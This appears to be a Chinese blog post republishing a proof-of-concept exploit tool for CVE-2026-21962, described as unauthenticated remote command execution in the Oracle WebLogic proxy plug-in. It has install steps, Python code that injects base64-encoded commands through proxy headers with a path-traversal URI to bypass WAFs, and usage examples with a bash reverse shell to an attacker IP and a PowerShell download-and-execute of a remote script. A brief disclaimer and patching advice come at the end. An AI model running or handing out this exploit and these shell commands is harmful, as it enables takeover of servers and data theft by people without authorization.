CVE-2026-21962漏洞利用工具：Oracle WebLogic代理插件未授权RCE检测与利用

Ne0inhk

— 6 min read

CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE

项目描述

该项目提供了一个针对Oracle WebLogic Server代理插件（Proxy Plug-In）中一个关键安全漏洞（CVE-2026-21962）的漏洞利用概念验证（PoC）脚本。该漏洞允许未经验证的远程攻击者通过HTTP协议在受影响的服务器上执行任意操作系统命令，风险等级极高（CVSS 10.0）。

影响组件：

  • Oracle HTTP Server（版本12.2.1.4.0、14.1.1.0.0、14.1.2.0.0）
  • Oracle WebLogic Server代理插件（用于Apache HTTP Server和Microsoft IIS）

功能特性

核心功能

  • 自动漏洞检测：通过多种常见路径（/weblogic/、/wl_proxy/、/bea_wls_internal/、/_proxy/、/proxy/）探测目标系统是否存在漏洞
  • 远程命令执行：能够执行用户指定的任意操作系统命令
  • Payload编码：自动对Payload进行Base64编码，以绕过某些WAF/过滤器
  • 多种攻击向量：支持通过不同HTTP头（WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For）注入Payload

高级特性

  • 跨平台支持：兼容Linux/Unix和Windows目标系统
  • 灵活Payload：支持执行简单命令、复杂Shell脚本或PowerShell命令
  • 输出解析：自动提取并显示命令执行结果
  • 错误处理：完善的异常处理和超时控制机制

检测能力

  • 支持通过HTTP状态码（200、302、500）判断漏洞存在性
  • 能够捕获并显示命令执行的输出结果
  • 提供详细的调试信息和错误报告

安装指南

环境要求

  • Python 3.x：确保系统已安装Python 3
  • 依赖库：需要安装requests库
  • 操作系统：支持Linux、macOS和Windows

安装步骤

设置执行权限（可选）

chmod +x CVE-2026-21962.py

安装Python依赖

pip install requests

克隆或下载项目文件

git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git cd Ashwesker-CVE-2026-21962

验证安装

运行以下命令验证安装是否成功：

python3 CVE-2026-21962.py --help

如果看到帮助信息，说明安装成功。

使用说明

基础使用

基本语法
python3 CVE-2026-21962.py <target_url>"<command>"
参数说明
  • target_url：目标服务器的URL（例如：http://target:7001 或 https://oracle-server:4443）
  • command：要执行的命令（例如：id、whoami或反向Shell命令）

使用示例

1. 基本信息收集

执行系统命令来验证漏洞：

python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
2. 获取文件系统信息
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
3. 反向Shell（Linux目标）

首先在攻击机启动监听：

nc -lvnp 4444

然后执行漏洞利用：

python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows目标利用
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"

输出说明

  • 成功迹象：HTTP状态码为200、302或500
  • 命令输出：如果命令有输出，会显示前1500个字符
  • 静默执行：如果命令执行成功但没有输出，会显示相应提示

注意事项

  1. 目标端口：通常WebLogic服务运行在7001端口，HTTPS服务可能运行在4443端口
  2. SSL证书：对于自签名证书的目标，可能需要禁用SSL验证
  3. 路径探测：工具会自动尝试多个常见代理插件路径
  4. WAF绕过：使用Base64编码和多种HTTP头尝试绕过防护

核心代码

主漏洞利用函数

defexploit(target_url, command):# 漏洞利用端点（常见代理插件路径） vuln_paths =["/weblogic/","/wl_proxy/","/bea_wls_internal/","/_proxy/","/proxy/"]# 构造触发反序列化/命令注入的恶意头部# 实际触发使用特制的WL-Proxy-Client-IP或类似头部# 结合绕过验证的特制URI payload =f"cmd:{command}"# Base64编码Payload以绕过WAF/过滤器 encoded_payload = base64.b64encode(payload.encode()).decode()# 构造恶意HTTP头部 headers ={"WL-Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","X-Forwarded-For":f"127.0.0.1;{encoded_payload}","User-Agent":"Mozilla/5.0 (compatible; Exploit/1.0)","Accept":"*/*","Connection":"close"}# 触发插件漏洞的特制URI uri ="/weblogic/..;/bea_wls_internal/ProxyServlet"# 尝试所有可能的漏洞路径for base_path in vuln_paths: full_url =f"{target_url.rstrip('/')}{base_path}{uri}"print(f"[*] 尝试路径: {full_url}")print(f"[*] 执行命令: {command}")try:# 使用GET请求，某些配置下POST也可用 r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)# 根据HTTP状态码判断是否成功if r.status_code in[200,302,500]:print(f"[+] 可能成功！状态码: {r.status_code}")if r.text.strip():print("\n可能的命令输出/响应:\n"+"-"*60)print(r.text[:1500])# 显示前1500字符避免信息过多print("-"*60)else:print("[+] 命令静默执行（无输出）")returnTrueelse:print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")except Exception as e:print(f"[-] 路径 {full_url} 错误: {e}")print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")returnFalse

命令行参数解析

if __name__ =="__main__":# 创建参数解析器 parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")# 目标URL参数 parser.add_argument("target",help="目标URL (例如 http://target:7001 或 https://oracle-server:4443)")# 命令参数 parser.add_argument("cmd",help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1')")# 解析参数并执行漏洞利用 args = parser.parse_args() exploit(args.target, args.cmd)

漏洞检测逻辑

# 漏洞检测的核心逻辑# 1. 构造包含恶意命令的Payload# 2. 使用Base64编码绕过基本防护# 3. 通过多个HTTP头部字段注入Payload# 4. 使用路径遍历技术访问代理Servlet# 5. 分析响应判断漏洞是否存在# 关键点：# - 使用分号分隔IP地址和命令Payload# - 尝试多个可能的代理插件路径# - 支持HTTP和HTTPS协议# - 包含完善的超时和错误处理

安全注意事项

# 重要安全提示：# 1. 此工具仅用于授权的安全测试# 2. 在非授权系统上使用是非法的# 3. 使用前需获得明确书面授权# 4. 遵守所有适用法律法规# 技术建议：# 1. 及时应用Oracle 2026年1月关键补丁更新# 2. 限制对受影响服务的网络访问# 3. 监控HTTP流量中的可疑行为# 4. 定期审查系统日志和安全控制措施

版本兼容性

该工具设计用于以下受影响版本：

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • WebLogic Proxy Plug-in for Apache/IIS

免责声明: 所有PoC代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的，作者不承担任何滥用责任。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPtA7C84tFVwza9UVc8THXK
更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）

Read more

Rust微服务架构实战——gRPC通信、服务发现与容器编排

Rust微服务架构实战——gRPC通信、服务发现与容器编排

第12篇：Rust微服务架构实战——gRPC通信、服务发现与容器编排 一、学习目标与重点 1.1 学习目标 1. 理解微服务架构：深入学习微服务的核心概念、优缺点、架构模式，掌握微服务与单体架构的区别 2. 掌握gRPC通信：熟练使用Tonic（Rust的gRPC实现）定义.proto文件、生成服务端和客户端代码，实现同步/异步通信 3. 实现服务发现与负载均衡：使用Consul或etcd实现服务注册与发现，使用Ribbon或Nginx实现负载均衡 4. 容器编排与部署：学习Docker Swarm或Kubernetes的核心概念，使用Docker Compose或Kubernetes YAML文件部署微服务 5. 实战微服务开发：结合真实场景编写用户管理、订单管理、支付管理三个微服务，实现gRPC通信、服务发现、负载均衡 6. 监控与运维：使用Prometheus+Grafana监控微服务，使用ELK Stack收集和分析日志 1.

By Ne0inhk
【MySQL数据库基础】（六）MySQL 表的约束详解：从基础到实战，拿捏数据合法性！

【MySQL数据库基础】（六）MySQL 表的约束详解：从基础到实战，拿捏数据合法性！

前言         在 MySQL 数据库开发中，我们总希望存入表中的数据是合法、规范、符合业务逻辑的。虽然数据类型能对字段做基础限制，但面对复杂的业务需求，仅靠数据类型远远不够。比如要求邮箱唯一、用户名不能为空、学生的班级必须是已存在的班级…… 这些需求都需要靠表的约束来实现。         表的约束是数据库保证数据完整性的核心手段，它能从业务逻辑层面过滤无效数据，避免脏数据进入数据库。今天这篇文章就带大家全面吃透 MySQL 中最常用的表约束，包括null/not null、default、comment、zerofill、primary key、auto_increment、unique key、foreign key，从基础概念到实操案例，手把手教你用约束拿捏数据合法性！下面就让我们正式开始吧！ 一、为什么需要表的约束？         先看一个简单的例子：如果我们创建一个班级表，只定义字段和数据类型，不添加任何约束，会发生什么？ -- 无约束的班级表 create table myclass( class_

By Ne0inhk
前后端分离Web宠物商城网站系统｜SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程

前后端分离Web宠物商城网站系统｜SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程

摘要 随着互联网技术的快速发展和人们生活水平的提高，宠物行业逐渐成为一个新兴的市场热点。宠物用品、宠物医疗、宠物美容等相关服务的需求不断增长，传统的线下宠物商店已无法满足消费者的便捷性和多样性需求。电子商务平台的兴起为宠物用品销售提供了新的渠道，消费者可以随时随地浏览和购买商品，享受更加个性化的服务。然而，传统的单体架构Web系统在性能、扩展性和维护性方面存在诸多不足，难以应对高并发和复杂业务场景。因此，基于前后端分离架构的宠物商城系统具有重要的现实意义，能够提升用户体验，优化系统性能，并为企业提供高效的管理工具。关键词：宠物商城、电子商务、前后端分离、市场需求、系统优化。 本系统采用SpringBoot作为后端框架，结合Vue.js构建动态前端界面，实现了高效的数据交互和页面渲染。MyBatis作为持久层框架，简化了数据库操作，提高了开发效率。MySQL作为关系型数据库，确保了数据的稳定存储和高效查询。系统主要功能包括用户注册与登录、商品分类与搜索、购物车管理、订单支付、后台管理等模块，支持多角色权限控制。前端通过Axios与后端API通信，实现了数据的异步加载和动态更新。系统采

By Ne0inhk
SpringBoot + Vue 前后端分离项目实战：权限 + 工作流 + 报表

SpringBoot + Vue 前后端分离项目实战：权限 + 工作流 + 报表

✨道路是曲折的，前途是光明的！ 📝 专注C/C++、Linux编程与人工智能领域，分享学习笔记！ 🌟 感谢各位小伙伴的长期陪伴与支持，欢迎文末添加好友一起交流！ 📚 目录 * 前言 * 一、项目背景与技术选型 * 二、系统架构设计 * 三、权限管理模块 * 四、工作流引擎集成 * 五、报表系统实现 * 六、核心代码实现 * 七、部署与运维 * 八、总结 前言 前后端分离架构已成为企业级应用开发的主流选择。本文将通过一个完整的企业管理系统实战项目，详细介绍如何使用 SpringBoot + Vue 技术栈，实现权限管理、工作流引擎和报表系统三大核心功能。 项目特色 * 前后端分离：RESTful API 设计，便于扩展和维护 * RBAC权限模型：细粒度的权限控制体系 * Flowable工作流：可视化流程设计与执行 * 动态报表：灵活配置的数据可视化方案 一、项目背景与技术选型 1.

By Ne0inhk